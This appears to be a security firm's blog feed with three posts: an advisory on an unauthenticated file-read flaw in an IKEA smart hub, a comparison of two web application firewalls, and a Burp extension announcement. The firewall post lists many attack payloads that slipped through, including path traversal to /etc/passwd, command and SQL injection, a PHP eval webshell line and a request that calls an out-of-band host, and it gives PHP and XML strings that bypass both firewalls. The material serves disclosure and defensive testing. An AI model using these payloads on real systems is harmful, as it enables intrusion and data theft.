Pentagrid AG (Einträge über Web)

Security misconfiguration in IKEA DIRIGERA smart hub web server exposes large parts of the root filesystem (GCVE-2342-2026-1)

Pentagrid AG — Wed, 17 Jun 2026 13:42:00 GMT

IKEA produces smart home devices and their newest generation uses the central DIRIGERA smart hub. After extracting the firmware, we started hunting for vulnerabilities of the device and found: An unauthenticated attacker on the network can download large parts of the files from the DIRIGERA hub root filesystem. This affects files that are accessible to the service user license-server. These include binaries, firmware files, API keys and in general a lot of proprietary code written by Inter IKEA Systems.

Timeline

2026-03-18: Vulnerability was discovered.
2026-03-19: Tried to identify security contacts by checking IKEAS's security.txt, their GPG key and the web. The available online form for submissions was incompatible with Pentagrid's disclosure policy. Tried to contact security@ikea.com by guessing the address, but the e-mail was bounced. Tried to reach out to IKEA via Linkedin and got afterwards contacted by Inter IKEA Systems.
2026-03-23: IKEA confirms they are handling the security reports. Pentagrid sends a draft of this advisory.
2026-03-26: Pentagrid contacts IKEA for a status update. IKEA confirms they are still triaging the issue.
2026-04-29: Pentagrid contacts IKEA for a status update.
2026-05-04: IKEA sends an update: The issue was a duplicate and reported shortly before Pentagrid's submission on Hackerone. A fix was released to production in the 2.934.1 release, which was released on 2026-04-09. The fix removes the license-server component from the build and that functionality has been reworked to be handled elsewhere outside of the hub. Pentagrid asks if disclosure could happen already. IKEA responds with with a list of questions regarding the disclosure.
2026-05-06: Pentagrid responds to the list of questions and provides an early draft of this blog post.
2026-05-13: Pentagrid asked for an update.
2026-05-27: IKEA agrees that the provided answers/blog post draft are in order with them and Pentagrid can proceed as planned.
2026-06-17: 90 days disclosure deadline and publication.

Unauthenticated file download via licensing server

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N, 5.8 Medium

Affected Components

The affected component is the IKEA DIRIGERA smart home hub created by Inter IKEA Systems. The device runs a busybox httpd web server on TCP port 8082, which runs as a systemd service under user license-server.

An initial firmware dump prior to the update showed the version information below. The system remained vulnerable after an update to a new firmware on 2026-03-18.

[HomeSmart/Bootchain : 2.556]

and

/etc/version
20180309123456

The vulnerability was fixed in version 2.934.1.

Summary

An unauthenticated attacker on the network can download many files from the DIRIGERA hub root filesystem. The files must be accessible to the Linux user license-server. These include binaries, firmware files, API keys as well as proprietary code written by Inter IKEA Systems.

Impact

During the analysis Pentagrid was able to download 9639 files from 3149 folders from the embedded device's filesystem over the network without any authentication. These files include:

/usr/share/config/platform/data/settings.json which includes the API key that is the same for two analysed DIRIGERA hubs.
/boot/m4-firmware which is assumed to be the Cortex M4 firmware.
Most binaries files -- here it becomes apparent that busybox is used since most of /bin/* binaries return the same (busybox) file.
Configurations of services such as the vulnerable /lib/systemd/system/license-server.service.
Intellectual property of Inter IKEA Systems B.V., e.g. shell code of /usr/sbin/boot-complete.sh.
Operational parameters that are stored in /usr/share/{factory, config, persist}.

The usage of systemd service hardening, the usage of the STSAFE enviroment, and proper Linux user permissions limits the impact. To the best of our knowledge no client specific cryptographic material is exposed to the network. What is assumed to be the client certificate under /usr/local/gw/datad/certs/cert_datacloud.crt is not accessible and would further require the protected STSAFE secret for the also inaccessible /usr/local/gw/datad/certs/key_datacloud.key.

The extracted files expose configurations, intellectual property, proprietary software, and firmware of the Ikea DIRIGERA hub, such as the vulnerabilities of the license server that is exploited here. The impact of exposed software versions is considered insignificant since the license server gives a comprehensive overview about the used software and versions regardless.

Technical Details

The vulnerability originates from the misconfigured systemd service: /lib/systemd/system/license-server.service. It serves a httpd server on port 8082 with a configuration file under /usr/share/common-licenses/httpd.conf.

Excerpt from file license-server.service:

ExecStart=httpd -f -p 8082 -c /usr/share/common-licenses/httpd.conf

Excerpt from file httpd.conf:

I:/usr/share/common-licenses/license_summary.txt

/usr/share/common-licenses/license_summary.txt includes all the licensing information of the software running on the DIRIGERA hub. This file is the only content that is intended to be accessible via the web endpoint.

Yet, if an unauthroized user visits the endpoint and appends any file system path to the base URL, the webserver returns the file contents or starts a file download, e.g.:

dirigera.example.local is here the hostname of the DIRIGERA hub.

The webserver serves these additional files due to a non-specified home directory in a busybox httpd service. The httpd call inside the systemd service does not specify the -h parameter (home/server root directory). Further, the configuration file /usr/share/common-licenses/httpd.conf only specifies the index file via tag I: but also does not specifiy the home directory using the tag H: (called server root in the configuration file). As a result, the webserver defaults to the current directory as the root directory of the webserver which is also the root directory of the entire file system (/).

All accessible files return status code 200. To identify existing folders they must be called without the tailing /, e.g. send GET request to http://dirigera.example.local:8082/usr/share/persist/tee to get status code "302 Found" and a location reference to /usr/share/persist/tee/. Directly requesting /usr/share/persist/tee/ results in status code "404 Not Found", which does not provide information to discriminate folder existence. Note, that besides the information gained from the files, attackers can gain additional information about the file system's structure by checking if a folder exists and is accessible: e.g. /usr/share/persist/tee/ is known to exist even though all files inside the folder are inaccessible.

To scrape all 12788 files and directories, Pentagrid used a preconfigured wordlist based on the extracted firmware from another DIRIGERA hub. The total number of accessible entities is a lower (but confirmed) limit since crawling the licence endpoint/filesystem was done based on a non-comprehensive wordlist. The crawling wordlist included only known paths from partitions 9, 10, 11, 13, 14, 15, 16, 17, 18, and 20 of the emmc flash with partitions 15, 16/17, and 18/19 mounted under /usr/share/{factory, config, persist}.

The system tries to limit access with systemd service hardening, especially the InaccessiblePaths setting in combination with the Linux user permissions — although this is not sufficient, it prevents further exploitation.

Precondition

An attacker needs access to TCP port 8082 of the IKEA DIRIGERA smart hub. Prior knowledge of the filesystem structure is not necessary but can reduce the time required to scrape the entire contents of the filesystem. A version before the 2.934.1 release has to be installed.

Recommendation

Install firmware version 2.934.1 released on 2026-04-09 or a later one. The fix removes the license-server component from the build and the functionality has been reworked to be handled elsewhere outside of the hub.

If you are using busybox httpd in a similar scenario, it is recommended to:

provide a "Home directory" to httpd by via command line or configuration file.
establish an allowlist to only expose the intended files. Beware, that busybox httpd config files are far more limited in their capabilities to restrict file access compared to their non-busybox alternative.
apply additional systemd service hardening.
not solely rely on systemd service denylisting with InaccessiblePaths to administer the served content as denylisting is bad practise for access control.

Credits

This vulnerability was discovered by Yannic 'toxsos' Hemmer (Pentagrid).

An excursion into Airlock WAF ruleset testing

Pentagrid AG — Wed, 11 Dec 2024 12:00:00 GMT

Recently we've been tasked to do an analysis of a web application firewall (WAF) of the vendor Ergon, namely the Airlock WAF regarding the effectivness of filtering. One idea was to see what happens when OWASP Core Rule Set (CRS) tests are run against it. This is the story of how we approached this, which payloads went through and how impossible it is to tell if that's good or bad now.

WAFs are a controversial topic. The reason is simply that there is no technical proof that either is universally helpful or harmful, as their effectiveness largely depends on a lot of things. We don't think you need a WAF in general, and we also don't think you need to get rid of your WAF if you have a use case. For all of you who are expecting us to provide the ultimate answer [1] in this blog post: You can stop reading here. For everyone interested in learning some technical details about two WAF-related projects from real-world installations, please enjoy.

About WAFs and Airlock

Ergon's Airlock WAF is one of the better-known WAFs in Switzerland. One reason for this is that it is often recommended, bundled or sold with financial software, such as core banking systems. Some banks nevertheless use something else, while others stick with Airlock. Like any other WAF, Airlock mitigates risks according to their website.

Like a standard firewall, a WAF has a set of rules that define wether something is blocked or allowed through. However, that's already where the similarity stops. Best practices for regular firewalls require you to create an allow-list of traffic you want to pass and deny everything else. By contrast, most WAFs use block-lists and allow everything else. Everybody in our industry knows block-lists are a recipe for security issues and that's why a WAF will never be perfect, but best effort. So as a matter of fact, WAF bypasses are a common thing.

While every vendor and company using a WAF has their own rule set to fit their purpose, a key distinction exists: some who use a modified version of the OWASP ModSecurity Core Rule Set (CRS), while others don't use CRS at all. According to the CRS project, a lot of big cloud vendors are using CRS in their WAF. However, Airlock is one of the vendors that doesn't use CRS.

Additionally, most WAFs allow to decide dynamically whether to use more or less strict rules for a certain category of attacks. CRS uses the term "Paranoia Level" (1 to 4), whereas Airlock calls it "Security Level" or "Blocking Level" (basic, standard and strict). As some might already have noticed, we'll sometimes refer to CRS as a WAF in this post, implying a compatible WAF engine like ModSecurity is using CRS.

Approach

We've been tasked with analyzing an Airlock WAF and while we looked at various things, as a novel approach, we also decided to try to run comparison tests for Airlock against some of the CRS rules. As there seemed no one who did this before and wrote about it on the Internet, we tried our luck.

Although there is a public list of rule names, you need access to an Airlock WAF in order to see the actual Airlock rules (the regexes). Whereas CRS is an open-source project and you have full access to review it. This is very helpful for a pentester who is up against a CRS-based WAF, as you can even look up all currently unfixed evasions on GitHub.

The Airlock WAF we were facing had the following rules and blocking levels set:

Standard: SQL Injection (SQLi) in Parameter Value
Standard: SOL Injection (SQLi) in Header Value
Standard: Cross-Site Scripting (XSS) in Parameter Value
Standard: Cross-Site Scripting (XSS) in Header Value
Standard: Cross-Site Scripting (XSS) in Path
Standard: Template and Expression Language Injection
Strict: HTML Injection in Parameter Value
Strict: HTML Injection in Header Value
Strict: HTML Injection in Path
Standard: UNIX Command Injection in Parameter Value
Standard: UNIX Command Injection in Header Value
Standard: Windows Command Injection in Parameter Value
Standard: Windows Command injection in Header Value
Standard: LDAP Injection in Parameter Value
Standard: LDAP Injection in Header Value
Standard: PHP Injection in Parameter Value
Standard: PHP Injection in Header Value
Standard: Object Graph Navigation Library (OGNL) injection (Apache Struts)
Standard: Insecure Direct Object Reference in Parameter Value
Standard: Insecure Direct Object Reference in Path
Standard: NoSOL Injection in Parameter Name
Standard: NoSOL Injection in Parameter Value
Standard: NoSQL Injection in Header Value
Strict: Parameter Name Sanity
Standard: Parameter Value Sanity
Strict: Header Name Sanity
Standard: Header Value Sanity
Strict: Path Sanity
Strict: Encoding and Conversion Exploits in Parameter Value
Strict: Encoding and Conversion Exploits in Header Value
Strict: HTTP Response Splitting
Strict: HTTP Parameter Pollution
Standard: Miscellanous Exploits
Strict: Automated Scanning

Note that none of the rules are on the level "basic", so either the "standard" setting is used or even the highest protection level "strict".

CRS regression test run against Airlock

The most interesting part for us was that the CRS project provides a full regression test set, which contains tests that trigger a rule in different ways. With some modifications, such as changing the target host, we were able to run these tests against the Airlock WAF. Although this approach seemed straightforward, we underestimated the amount of manual work required to determine whether a failed test result for CRS was really "an issue" for the Airlock WAF. That's why we didn't completely review the entire regression corpus. However, we still learned a lot of interesting facts about both WAFs, as you'll see.

In the end, the effectiveness of a WAF depends a lot on its configuration (there are many features we don't even mention here) and on the type of application it is protecting. So even before starting, we knew the results wouldn't show a generally applicable picture.

After tweaking the configuration of go-ftw (a framework for testing WAFs), and trying to run it against Airlock, it became obvious that this was going to involve a lot of manual work to figure out which things were really a problem on the Airlock side. Some of the reasons are:

As we had to overwrite the destination (IP address and TCP port) as well as the HTTP Host header of tests to route our request correctly to the Airlock WAF, we already destroyed some of the CRS regression tests that injected into the HTTP Host header.
There is no throttle mechanism in go-ftw and Airlock was configured to block an IP for a certain time if a threshold of blocked requests per minute was detected. Therefore, we split the test into smaller batches and waited for a while between each batch. When just a few of the test requests were blocked, the batches went through nicely, but for tests that resulted in many blocked requests, we had to rerun them. Fortunately for us, in this particular configuration, it was easy to detect in the HTTP responses when the Airlock WAF blocked our IP address.
Airlock has an allow-list regex of all HTTP header names that are forwarded to applications. If you inject into any HTTP header that is not on the allow-list, the request will never be blocked. Some of the CRS tests injected into custom HTTP headers and therefore never triggered any rule.
Airlock also has an allow-list regex of HTTP cookie names where the same issue applies.
While CRS checks for certain patterns generically in all parameters, Airlock seems to check for certain things only when these parameters are defined to have that kind of content. For example, XML External Entity (XXE) attacks are not blocked generically in a parameter in Airlock.
Some CRS tests check for false positives (meaning CRS should not block them), but we were not interested in those, as we wanted to see what we could potentially smuggle past the Airlock WAF that CRS blocks.

CRS regression test run results

Here's a list of CRS test results that were passed through and were not blocked by the Airlock WAF under test (mid 2024), but would be blocked at some of the paranoia levels of the CRS. As said earlier, this list is incomplete as we didn't look at all the results of the CRS regression tests manually. The titles are the category titles by CRS.

REQUEST-913-SCANNER-DETECTION

User-Agent: nuclei
User-Agent: urlgrabber/3.10 yum/3.4.3
User-Agent: Mozilla/5.0 zgrab/0.x
User-Agent: mozilla/5.0 ecairn-grabber/1.0 (+http://ecairn.com/grabber)

REQUEST-920-PROTOCOL-ENFORCEMENT

GET /?param=%25%37%33%25%36%46%25%36%44%25%36%35%25%37%34%25%36%35%25%37%38%25%37%34%25%35%46%25%33%31%25%33%32%25%33%33%25%33%34 HTTP/1.1

REQUEST-921-PROTOCOL-ATTACK

GET /?arg1=GET%20http%3A%2F%2Fwww.foo.bar%20HTTP%2F3.2 HTTP/1.1

POST / HTTP/1.1
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Content-Type: application/x-www-form-urlencoded
Host: www.example.org
Range: bytes=0-,5-0,5-1,5-2,5-3,5-4,5-5,5-6,5-7,5-8,5-9,5-10,5-11,5-12,5-13,5-14,5-15
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Content-Length: 86

foo=(%26(objectCategory=computer)%20(userAccountControl:1.2.840.113556.1.4.803:=8192))

REQUEST-930-APPLICATION-ATTACK-LFI

GET /?foo=.../.../WINDOWS/win.ini HTTP/1.1
GET /?foo=0x5c0x2e./0x5c0x2e./0x5c0x2e./0x5c0x2e./0x5c0x2e./ HTTP/1.1
GET /foo../1234 HTTP/1.1
GET /?a=..;.\.;\. HTTP/1.1
GET /?code=;+cat+%2Fetc%2Fsubuid+%23 HTTP/1.1
GET /?code=;echo+fooffff>/tmp/curl HTTP/1.1

REQUEST-931-APPLICATION-ATTACK-RFI

GET /?src=http://66.240.183.75/crash.php HTTP/1.1
GET /components/com_virtuemart/show_image_in_imgtag.php?mosConfig_absolute_path=https://foo.bar HTTP/1.1
GET /?x=https://example.com/ HTTP/1.1
GET /?x=url:file://foo.bar HTTP/1.1
GET /file:%2f%2f/usr/src/blog/app/assets/javascripts/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd HTTP/1.1

REQUEST-932-APPLICATION-ATTACK-RCE

GET /get?932120-1=Invoke-WebRequest%20http://example.com/path/file.ps1 HTTP/1.1
GET /get?a=Invoke-Expression%20-Command%20file.ps1
GET /get?cmd=%3Biwr%20http://example.com/path/file.ps1 HTTP/1.1
GET /?cmd=cat%20/etc/pa%5Bs%5Dswd HTTP/1.1
GET /?cmd=x<cat+/etc/pa%5Bs%5Dswd HTTP/1.1
GET /?cmd=;cat+/etc/pas[s]wd HTTP/1.1
GET /?s=;/usr/bin/%5Bu%5Dname+-a HTTP/1.1
GET /?foo=for%20%2fr%20c%3a%5c%20%25variable%20in%20%28set%29%20do%20command HTTP/1.1
GET /?foo=FOR+%2FF+%22options%22+%25a+IN+%28%22text%22%29+DO+abc HTTP/1.1
GET /?foo=%26+FOR+%2FF+%22tokens%3D1-3%22+%25%25A+IN+++%28%22jejeje+brbr%22%29+DO+%40echo+pwnd HTTP/1.1
GET /?foo=FOR+%25%25G+IN+%28a%2Cb%2Cc%2Cd%2Ce%2Cf%2Cg%2Ch%2Ci%2Cj%2Ck%2Cl%2Cm%2Cn%2Co%2Cp%2Cq%2Cr%2Cs%2Ct%2Cu%2Cv%2Cw%2Cx%2Cy%2Cz%29+DO+%28md+C%3A%5Cdemo%5C%25%25G%29 HTTP/1.1
GET /?x=%2Fusr%2Fbin%2Fperl+-e+%27print+readline%27+some-file.txt HTTP/1.1
GET /?x=)};%24SHELL%20-c%20%22echo%20hi%22 HTTP/1.1

REQUEST-933-APPLICATION-ATTACK-PHP

GET /?x=$_SERVER['test']; HTTP/1.1

File content:

<?php @eval($_POST["hacker"]); ?>

REQUEST-934-APPLICATION-ATTACK-GENERIC

GET /get/?foo=eval%28String.fromCharCode HTTP/1.1
GET /get/?foo=%0Arequire("child_process").exec('whoami') HTTP/1.1
GET /?x=%0Arequire%3bx%3d"child_process"%3blol(x).spawn("curl",%20['5gmgdi7mjd5o3g8oj8gawq6n8ee5ht6.oastify.com'])%3b HTTP/1.1

REQUEST-942-APPLICATION-ATTACK-SQLI

GET /?a=b,1=1 HTTP/1.1
GET /?a=a=42%20like%2042 HTTP/1.1
GET /?a=1%20is%20not%202 HTTP/1.1
GET /?a=%271%27+not+regexp+%272%27 HTTP/1.1
GET /?var=,+FIND_IN_SET('22',+Category+) HTTP/1.1
GET /?var==1'+%2b+1+is+likelihood(0.0,0.0)+is+1-- HTTP/1.1
GET /?var==1'+%2b+starts_with(password,'a')::int HTTP/1.1
GET /?id=...(json_build_object(1,password)::jsonb)::int HTTP/1.1
GET /?var=SELECT%20x%20GROUP%20BY%20SOMETHING%20HAVING%20COUNT%28Id%29%20%3E%3D%209 HTTP/1.1
GET /?var=;INSERT+INTO+table+(col)+VALUES+1,2,3 HTTP/1.1

REQUEST-944-APPLICATION-ATTACK-JAVA

java.lang.ProcessBuilder
java.lang.Runtime
java.io.BufferedInputStream

Bypassing both WAFs

There was one more thing we wanted to do. We wanted to find something that bypasses both WAFs.

PHP

After looking at the PHP regex of rules for CRS, we came up with the following valid PHP payload:

<?xml :system("ls")

This is valid PHP code with the short PHP start tag (<?) that executes a shell command, but bypasses the filter rules for both WAFs. PHP will interprete the "xml :" part as a label (e.g. used for goto).

OWASP CRS checked for the short PHP start tag (<?) but excluded <?xml generically, which allowed the bypass. However, for CRS other rules such as Cross-Site Scripting prevention rules also triggered (multi-layer approach), meaning depending on the filter settings the payload could still be detected in some cases. After reporting the PHP filter bypass to OWASP CRS it was fixed.

Although Airlock also has a rule to detect PHP short start tag payloads, for Airlock this payload resulted in a bypass.

XML

To find a second bypass we simply used a payload from one of our old advisories that hides the Cross-side Scripting payload in an XML attribute :

POST /ebics-server/ebics.aspx HTTP/1.1
Content-Type: text/xml; charset=UTF-8
Host: www.example.org
Content-Length: 585
Connection: close

<?xml version="1.0" encoding="utf-8" standalone="no"?>
<ebicsUnsecuredRequest xmlns="urn:org:ebics:H004" Revision="1" Version="&lt;a autofocus onfocus=print(1) href&gt;&lt;/a&gt;;">
    <header authenticate="true">
        <static>
            <HostID>AAA</HostID>
            <PartnerID>AAA</PartnerID>
            <UserID>AAA</UserID>
            <Product InstituteID="AAA" Language="de">AAA</Product>
            <OrderDetails>
                <OrderType>AAA</OrderType>
                <OrderAttribute>AAA</OrderAttribute>
            </OrderDetails>
            <SecurityMedium>0000</SecurityMedium>
        </static>
        <mutable/>
    </header>
    <body>
        <DataTransfer>
            <OrderData>AAA</OrderData>
        </DataTransfer>
    </body>
</ebicsUnsecuredRequest>

While Airlock doesn't check file contents in-depth in general, it is still an open issue for CRS.

Summary

The above results show what went through the Airlock WAF. But after looking at the above results, everyone can agree that it's not easy to tell what that means exactly and what is the right thing to do. Should Airlock block more? Are those useful attack strings? We decided that we do not want to pick apart all of the payloads and argue about them. We provide them for you as-is, so you can draw your own conclusions.

After talking to Ergon, they opened internal tickets and said they are going to look at certain things from the above list. We agree that certain payloads are not yet full attacks, for other payloads we were expecting Airlock to block more.

For CRS, one of the two mentioned issues is fixed; the other is still open.

We have seen that Airlock did not block certain tests from CRS. Overall, it gave the impression of resulting in fewer false positives, as it seems to rather allow than block legitimate users. On the other hand, if you are looking for Server Side Request Forgery (SSRF) protection by default in URLs (URLs in URLs), you have to actively configure that when using Airlock. The impression of more false positives with CRS is probably in the nature of the project and again: whoever uses CRS must modify it to fit their needs. For example, if you use CRS and have users in Germany, users with first name Axel could get pretty upset.

Depending on your preference, you can tweak your WAF to reduce either false positives or false negatives. Some people prefer a WAF without false negatives because otherwise it can be bypassed. Other people will prefer fewer false positives because they are afraid to block legitimate cases or do not want to invest the time to configure every use case. When trying to argue in either direction, we seem to run in circles.

Are you upset about any of our statements above? See, we told you it's a controversial topic to talk about.

Thanks

We would like to thank our customer who was open to let us look at the WAF in a whitebox approach and who agreed to do a publication of the results. Thanks goes out to the OWASP CRS team who responded to all our questions on Slack. Thanks also to Ergon for the call and feedback.

Improving web application security testing with the Pentagrid Scan Controller

Pentagrid AG — Tue, 23 Aug 2022 12:42:00 GMT

We're back with another helpful Portswigger Burp Pro Proxy extension that you shouldn't miss if you do web application security analysis. This time the wasteful approach of Burp's feature "Actively scan all in-scope traffic" triggered the development of a new extension called Pentagrid Scan Controller, because there are several improvements possible and desirable.

For example, Burp's default scanner actively scans static resources on the server, which seems useless in many cases, so the extension will not do that by default. But the power of the extension lies in all the configuration, you can do yourself to improve the automatic active scanning by deciding what should be scanned and what shouldn't. It also takes the entire concept one level higher up, because you define what you think are interesting HTTP requests and what not. This allows the extension to show you a ranked view of requests and as a tester you now know where to spend the rest of your manual testing time after Burp's scanner ran. Another improvement is in the area of repeatability of requests. The extension will figure out if a requests is repeatable at all (because that's necessary to do proper scanning). If a request is not repeatable it will be made repeatable or ignored (you can see the decision in the UI), because there is usually no point in scanning non-repeatable requests.

You can head over to the Pentagrid Scan Controller github page, where the extension was published as open source. Visit the official Burp BApp store page of Pentagrid Scan Controller or load it directly inside Burp Pro via the BApp store. We recommend to watch the area41.io talk of Tobias Ospelt about improving web application scanning which explains the issues of Burp scanner, what the extension will improve and how you can use the extension. If you want to skip to the extension part directly, you can watch the talk from 24:20 min.

The extension version 0.1 already has many features, such as:

Scanning only in-scope items
Different deduplication techniques of items already scanned
Ignoring requests if the URL or the entire request matches a certain regex
Delays before repeatability checks or scans, which allows you to browse the website for a while without being disturbed. Additionally, if a request turns non-repatable after 10 seconds it's better not to scan it at all and let you know.
Scanning requests that are not repeatable (not recommended)
Building your own "interesting score" by URL file extension, HTTP status code, HTTP method and number of parameters. Define the score values.
Changing the heuristic keywords to figure out if a request is repeatable or not
Reimplemented JSON, XML and multipart injection. This was necessary, because extensions in Burp can currently not set a parameter value of JSON bodies through the official Burp API.
Added Non-Standard-HTTP header and URL path injection
Thread pooling to make sure Burp Proxy is never waiting for the extension (performance)
Make requests repeatable by using Hackvertor tags and show it in the UI. This means you can reuse the repeatable request in other tools such as the Burp Repeater.
The usual Burp extender API workarounds such as project-level storage.
Hiding items in the table

We're currently working on a new version of the extension where the following things will change:

New feature: Ignoring requests if the response matches a certain regex
New feature: Influence "interesting score" by response content-type (disabled by default as URL file extensions are usually sufficient)
New feature: To declutter the UI, most options will be hidden by default and there is a button to toggle advanced options.
New feature: The extension UI is divided into more tabs which group options together.
New feature: Divide repeatability reasoning and scan reasoning in the UI

We are also going to add additional scan capabilities (like ActiveScan++), for example:

Add non-standard HTTP headers as insertion points
Add URL paths as insertion points (often used as parameters in REST APIs)
Add Bearer Authorization HTTP header as an insertion point, this is important because Burp's new scanner checks for JSON Web Tokens (JWT) and is not yet checking the default "Authorization: Bearer ey[...]" location.
Add Basic Authorization HTTP header as an insertion point (username:password in base64)
Automated Smart Content Discovery as part of scanning, meaning automated Snallygaster checks are performed per directory.

So stay tuned for the next release.